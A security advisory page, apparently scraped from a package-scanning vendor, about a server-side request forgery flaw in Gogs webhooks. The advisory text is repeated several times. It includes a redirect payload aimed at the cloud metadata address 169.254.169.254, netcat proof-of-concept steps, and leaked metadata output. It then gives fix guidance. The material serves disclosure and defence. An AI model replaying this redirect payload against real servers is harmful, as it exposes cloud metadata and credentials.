### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This was already communicated in the initial report but it looks like there was a bit of a miscommunication. ### Details By creating a webook pointing to any URL that will return the following: ``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254 ### PoC 1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above Results from running this on try.gogs: ``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ``` ### Impact Server Side Request Forgery ### Fix The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This was already communicated in the initial report but it looks like there was a bit of a miscommunication. ### Details By creating a webook pointing to any URL that will return the following: ``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254 ### PoC 1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above Results from running this on try.gogs: ``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ``` ### Impact Server Side Request Forgery ### Fix The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
Update gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs has SSRF in webhook deliveries affects gogs.io/gogs (go). Severity is high. ### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This was already communicated in the initial report but it looks like there was a bit of a miscommunication. ### Details By creating a webook pointing to any URL that will return the following: ``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254 ### PoC 1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above Results from running this on try.gogs: ``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ``` ### Impact Server Side Request Forgery ### Fix The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <=0.14.2 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs has SSRF in webhook deliveries affects gogs.io/gogs (go). Severity is high. ### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This was already communicated in the initial report but it looks like there was a bit of a miscommunication. ### Details By creating a webook pointing to any URL that will return the following: ``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254 ### PoC 1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above Results from running this on try.gogs: ``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ``` ### Impact Server Side Request Forgery ### Fix The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <=0.14.2 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard